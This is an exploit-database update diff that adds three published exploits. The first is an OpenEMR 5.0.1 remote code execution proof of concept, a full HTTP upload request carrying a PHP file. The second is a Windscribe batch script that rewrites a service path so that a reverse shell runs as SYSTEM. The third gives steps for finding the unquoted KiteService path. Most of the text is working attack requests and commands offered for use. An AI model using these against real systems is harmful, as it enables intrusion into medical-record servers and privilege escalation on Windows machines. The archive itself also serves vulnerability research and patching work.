DB: 2020-06-27

3 changes to exploits/shellcodes

Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
KiteService 1.2020.618.0 - Unquoted Service Path

OpenEMR 5.0.1 - 'controller' Remote Code Execution

exploits/php/webapps/48623.txt

@@ -0,0 +1,66 @@
+# Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution
+# Date: 2020-06-22
+# Exploit Author: Emre ÖVÜNÇ
+# Vendor Homepage: https://www.open-emr.org/
+# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
+# Version: v5.0.1
+# Tested on: Linux
+
+# Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities
+
+# PoC
+
+To exploit vulnerability, someone could use
+'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&'
+post request to upload malicious php codes.
+
+POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
+HTTP/1.1
+Host: [TARGET]
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)
+Gecko/20100101 Firefox/79.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
+Content-Type: multipart/form-data;
+boundary=---------------------------141194333536146869123947219434
+Content-Length: 842
+Origin: http://172.16.155.140
+DNT: 1
+Connection: close
+Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl;
+TreeMenuBranchStatus=objTreeMenu_1_node_1_9;
+PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq;
+LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1;
+YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D
+Upgrade-Insecure-Requests: 1
+
+-----------------------------141194333536146869123947219434
+Content-Disposition: form-data; name="MAX_FILE_SIZE"
+
+64000000
+-----------------------------141194333536146869123947219434
+Content-Disposition: form-data; name="file[]"; filename="shell_info.php"
+Content-Type: text/php
+
+<?php
+phpinfo();
+?>
+-----------------------------141194333536146869123947219434
+Content-Disposition: form-data; name="destination"
+
+
+-----------------------------141194333536146869123947219434
+Content-Disposition: form-data; name="patient_id"
+
+00
+-----------------------------141194333536146869123947219434
+Content-Disposition: form-data; name="category_id"
+
+4
+-----------------------------141194333536146869123947219434
+Content-Disposition: form-data; name="process"
+
+true
+-----------------------------141194333536146869123947219434--

exploits/windows/local/48624.txt

@@ -0,0 +1,21 @@
+# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
+# Date: 2020-06-26
+# Exploit Author: Ethan Seow
+# Vendor Homepage: https://windscribe.com
+# Version: v1.83 Build 20
+# Tested on: Microsoft Windows 10 Home 10.0.18363 Build 18363
+
+
+#filename : exploit.bat
+
+#Code start
+@echo off
+
+sc config WindscribeService binPath="cmd /k {PATH TO REVERSE SHELL e.g.
+C:\Users\Public\payload.exe}"
+sc stop WindscribeService
+sc start WindscribeService
+echo Exploit success! SYSTEM reverse shell should be triggered :DDDDD
+pause
+
+#Code end

exploits/windows/local/48625.txt

@@ -0,0 +1,38 @@
+# Exploit Title: KiteService 1.2020.618.0 - Unquoted Service Path
+# Discovery by: PoisonSk
+# Discovery Date: 2020-06-23
+# Vendor Homepage: https://www.kite.com/
+# Software Link : https://www.kite.com/download/
+# Tested Version: 1.2020.618.0
+# Vulnerability Type: Unquoted Service Path
+# Tested on OS: Microsoft Windows 10 Home Single 10.0.18363 N/D Compilación 18363
+
+
+
+# Steps to discover unquoted Service Path: 
+
+C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i "program " | findstr /i /v """
+KiteService	KiteService	C:\Program Files\Kite\KiteService.exe	Auto
+
+
+
+
+C:\Users>sc qc KiteService
+[SC] QueryServiceConfig CORRECTO
+
+NOMBRE_SERVICIO: KiteService
+        TIPO               : 10  WIN32_OWN_PROCESS
+        TIPO_INICIO        : 2   AUTO_START
+        CONTROL_ERROR      : 0   IGNORE
+        NOMBRE_RUTA_BINARIO: C:\Program Files\Kite\KiteService.exe
+        GRUPO_ORDEN_CARGA  :
+        ETIQUETA           : 0
+        NOMBRE_MOSTRAR     : KiteService
+        DEPENDENCIAS       :
+        NOMBRE_INICIO_SERVICIO: LocalSystem
+
+
+
+# Exploit:
+#A successful attempt would require the local attacker must insert an executable file in the path of the service. 
+#Upon service restart or system reboot, the malicious code will be run with elevated privileges.

files_exploits.csv

@@ -11114,6 +11114,8 @@ id,file,description,date,author,type,platform,port
 48591,exploits/windows/local/48591.txt,"Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path",2020-06-16,boku,local,windows,
 48594,exploits/windows/local/48594.py,"Code Blocks 17.12 - 'File Name' Local Buffer Overflow (Unicode) (SEH) (PoC)",2020-06-17,"Paras Bhatia",local,windows,
 48618,exploits/windows/local/48618.txt,"Lansweeper 7.2 - Incorrect Access Control",2020-06-23,"Amel BOUZIANE-LEBLOND",local,windows,
+48624,exploits/windows/local/48624.txt,"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path",2020-06-26,"Ethan Seow",local,windows,
+48625,exploits/windows/local/48625.txt,"KiteService 1.2020.618.0 - Unquoted Service Path",2020-06-26,"Marcos Antonio León",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -42878,3 +42880,4 @@ id,file,description,date,author,type,platform,port
 48616,exploits/php/webapps/48616.txt,"Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)",2020-06-23,BKpatron,webapps,php,
 48619,exploits/multiple/webapps/48619.txt,"BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting",2020-06-24,"William Summerhill",webapps,multiple,
 48621,exploits/php/webapps/48621.txt,"FHEM 6.0 - Local File Inclusion",2020-06-25,"Emre ÖVÜNÇ",webapps,php,
+48623,exploits/php/webapps/48623.txt,"OpenEMR 5.0.1 - 'controller' Remote Code Execution",2020-06-26,"Emre ÖVÜNÇ",webapps,php,